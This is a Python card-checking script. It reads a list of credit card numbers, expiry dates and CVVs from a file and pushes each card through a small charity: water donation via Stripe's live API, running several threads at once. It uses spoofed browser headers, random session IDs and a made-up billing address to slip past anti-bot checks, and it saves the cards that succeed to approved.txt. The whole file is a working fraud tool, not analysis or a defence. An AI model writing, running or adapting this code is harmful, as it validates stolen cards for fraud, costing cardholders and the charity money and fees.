import requests
import random
import string
import colorama
from colorama import Fore, Style
from concurrent.futures import ThreadPoolExecutor
import json
import time
# Initialize colorama for cross-platform colored output
colorama.init(autoreset=True)
def generate_random_string(length=10):
    """Generate a random string for session identifiers"""
    return ''.join(random.choices(string.ascii_lowercase + string.digits,
k=length))
def process_credit_card(cc_input):
    """Parse CC input in format CC|MM|YYYY|CVV"""
    parts = cc_input.split('|')
    if len(parts) != 4:
        raise ValueError("Invalid CC input format. Expected CC|MM|YYYY|CVV")
    return {
        'number': parts[0].strip(),
        'exp_month': parts[1].strip(),
        'exp_year': parts[2].strip()[-2:],   # Use last 2 digits of year
        'cvc': parts[3].strip()
    }
def make_donation(cc_input, email, name, amount=5):
    """Complete the donation process without hCaptcha"""
    try:
         card_details = process_credit_card(cc_input)
    except ValueError as e:
         return {"success": False, "message": str(e), "cc_input": cc_input,
"response": "Invalid CC input format"}
    muid = f"{generate_random_string(8)}-{generate_random_string(4)}-
{generate_random_string(4)}-{generate_random_string(4)}-
{generate_random_string(12)}"
    guid = generate_random_string(32)
    sid = generate_random_string(32)
    stripe_headers = {
        'accept': 'application/json',
        'accept-language': 'en-US,en;q=0.9',
        'content-type': 'application/x-www-form-urlencoded',
        'origin': 'https://js.stripe.com',
        'priority': 'u=1, i',
        'referer': 'https://js.stripe.com/',
        'sec-ch-ua': '"Google Chrome";v="137", "Chromium";v="137",
"Not/A)Brand";v="24"',
        'sec-ch-ua-mobile': '?0',
        'sec-ch-ua-platform': '"Windows"',
        'sec-fetch-dest': 'empty',
        'sec-fetch-mode': 'cors',
        'sec-fetch-site': 'same-site',
        'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
    }
    stripe_data = {
        'type': 'card',
        'billing_details[address][postal_code]': '91003',
        'billing_details[address][city]': 'New York',
        'billing_details[address][country]': 'US',
        'billing_details[address][line1]': 'New York',
        'billing_details[email]': email,
        'billing_details[name]': name,
        'card[number]': card_details['number'],
        'card[cvc]': card_details['cvc'],
        'card[exp_month]': card_details['exp_month'],
        'card[exp_year]': card_details['exp_year'],
        'guid': guid,
        'muid': muid,
        'sid': sid,
        'pasted_fields': 'number',
        'payment_user_agent': 'stripe.js/f5ddf352d5; stripe-js-v3/f5ddf352d5; card-
element',
        'referrer': 'https://www.charitywater.org',
        'time_on_page': str(random.randint(700000, 800000)),
        'key':
'pk_live_51049Hm4QFaGycgRKpWt6KEA9QxP8gjo8sbC6f2qvl4OnzKUZ7W0l00vlzcuhJBjX5wyQaAJxS
PZ5k72ZONiXf2Za00Y1jRrMhU',
    }
    donation_response_info = {"status_code": None, "text": "No response from
Donation API (initial error)"}
    try:
        # Create payment method
        stripe_response = requests.post(
            'https://api.stripe.com/v1/payment_methods',
            headers=stripe_headers,
            data=stripe_data,
            timeout=10
        )
        if stripe_response.status_code != 200:
            # If Stripe PM creation fails, we still want to report its response
            error_response_text = f"Stripe PM Creation Status:
{stripe_response.status_code}\nStripe PM Creation Body: {stripe_response.text}"
            return {"success": False, "message": "Stripe payment method creation
failed", "response": error_response_text, "cc_input": cc_input}
        payment_method = stripe_response.json()
        payment_method_id = payment_method.get('id')
        if not payment_method_id:
            # If no PM ID, report the Stripe response
            error_response_text = f"Stripe PM Creation Status:
{stripe_response.status_code}\nStripe PM Creation Body: {stripe_response.text}"
            return {"success": False, "message": "Could not get payment method ID
from Stripe", "response": error_response_text, "cc_input": cc_input}
        # Step 2: Submit donation
        donation_headers = {
            'accept': '*/*',
            'accept-language': 'en-US,en;q=0.9',
            'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'origin': 'https://www.charitywater.org',
            'priority': 'u=1, i',
            'referer': 'https://www.charitywater.org/',
            'sec-ch-ua': '"Google Chrome";v="137", "Chromium";v="137",
"Not/A)Brand";v="24"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-fetch-dest': 'empty',
            'sec-fetch-mode': 'cors',
            'sec-fetch-site': 'same-origin',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36',
            'x-requested-with': 'XMLHttpRequest',
        }
        donation_data = {
            'country': 'us',
            'payment_intent[email]': email,
            'payment_intent[amount]': str(amount),
            'payment_intent[currency]': 'usd',
            'payment_intent[payment_method]': payment_method_id,
            'disable_existing_subscription_check': 'false',
            'donation_form[amount]': str(amount),
            'donation_form[comment]': '',
            'donation_form[display_name]': '',
            'donation_form[email]': email,
            'donation_form[name]': name.split()[0] if ' ' in name else name,
            'donation_form[payment_gateway_token]': '',
            'donation_form[payment_monthly_subscription]': 'false',
            'donation_form[surname]': name.split()[1] if ' ' in name else '',
            'donation_form[campaign_id]': 'a5826748-d59d-4f86-a042-1e4c030720d5',
            'donation_form[setup_intent_id]': '',
            'donation_form[subscription_period]': '',
            'donation_form[metadata][email_consent_granted]': 'true',
            'donation_form[metadata][full_donate_page_url]':
'https://www.charitywater.org/',
            'donation_form[metadata][phone_number]': '',
            'donation_form[metadata][plaid_account_id]': '',
            'donation_form[metadata][plaid_public_token]': '',
            'donation_form[metadata][uk_eu_ip]': 'false',
            'donation_form[metadata][with_saved_payment]': 'false',
            'donation_form[address][address_line_1]': 'New York',
            'donation_form[address][address_line_2]': '',
            'donation_form[address][city]': 'New York',
            'donation_form[address][country]': '',
            'donation_form[address][zip]': '91003',
        }
        donation_response = requests.post(
            'https://www.charitywater.org/donate/stripe',
            headers=donation_headers,
            data=donation_data,
            timeout=10
        )
        donation_response_info["status_code"] = donation_response.status_code
        donation_response_info["text"] = donation_response.text
        # Prepare donation response text for output
        response_text_output = ""
        if donation_response_info["text"]:
            try:
                 # Try to pretty-print JSON responses for Donation API
                 donation_json = json.loads(donation_response_info["text"])
                 response_text_output += f"Donation API Response:\
n{json.dumps(donation_json, indent=2)}"
            except json.JSONDecodeError:
                 response_text_output += f"Donation API Response (Raw):\
n{donation_response_info['text']}"
        else:
            response_text_output += f"Donation API Response: No body received.
Status: {donation_response_info['status_code']}"
        if donation_response.status_code == 200:
            return {"success": True, "message": "Donation successful", "response":
response_text_output, "cc_input": cc_input}
        else:
            return {"success": False, "message": "Donation submission failed",
"response": response_text_output, "cc_input": cc_input}
    except requests.exceptions.Timeout as e:
        return {"success": False, "message": f"Request timed out: {str(e)}",
"cc_input": cc_input, "response": f"Donation API Status:
{donation_response_info['status_code']} (Timeout)\nError: {str(e)}"}
    except requests.exceptions.ConnectionError as e:
        return {"success": False, "message": f"Connection error: {str(e)}",
"cc_input": cc_input, "response": f"Donation API Status:
{donation_response_info['status_code']} (Connection Error)\nError: {str(e)}"}
    except Exception as e:
        # Catch any other unexpected errors
        full_response_info = f"An unexpected error occurred during donation
attempt. Last recorded Donation API Status:
{donation_response_info['status_code']}\nLast recorded Donation API Body:
{donation_response_info['text']}\nError: {str(e)}"
        return {"success": False, "message": f"An unexpected error occurred:
{str(e)}", "cc_input": cc_input, "response": full_response_info}
# --- Main script execution ---
user_email = "test@example.com"
user_name = "Test User"
MAX_THREADS = 5
try:
    with open("cc.txt", "r") as f:
        credit_cards = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
    print(f"{Fore.RED}Error: cc.txt not found. Please create the file with credit
card details.{Style.RESET_ALL}")
    exit()
print(f"{Fore.CYAN}--- Starting Donation Attempts (Multithreaded) ---
{Style.RESET_ALL}")
print(f"{Fore.CYAN}Processing {len(credit_cards)} credit cards with {MAX_THREADS}
concurrent threads.{Style.RESET_ALL}")
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
    futures = [executor.submit(make_donation, cc_info, user_email, user_name) for
cc_info in credit_cards]
    for future in futures:
        result = future.result()
        cc_to_print = result.get('cc_input', 'N/A')
        if result["success"]:
            print(f"{Fore.GREEN}APPROVED: {cc_to_print} - {result['message']}
{Style.RESET_ALL}")
            with open("approved.txt", "a") as approved_file:
                approved_file.write(f"{cc_to_print}\n")
            if result.get("response"):
                print(f"{Fore.GREEN} Response Details:\n{result['response']}
{Style.RESET_ALL}")
        else:
            print(f"{Fore.RED}DECLINED: {cc_to_print} - {result['message']}
{Style.RESET_ALL}")
            if result.get("response"):
                print(f"{Fore.YELLOW} Response Details:\n{result['response']}
{Style.RESET_ALL}")
            else:
                print(f"{Fore.YELLOW} No specific response details available. This
might indicate a severe network error or an extremely early server rejection.
{Style.RESET_ALL}")
print(f"\n{Fore.CYAN}--- Donation Attempts Finished ---{Style.RESET_ALL}")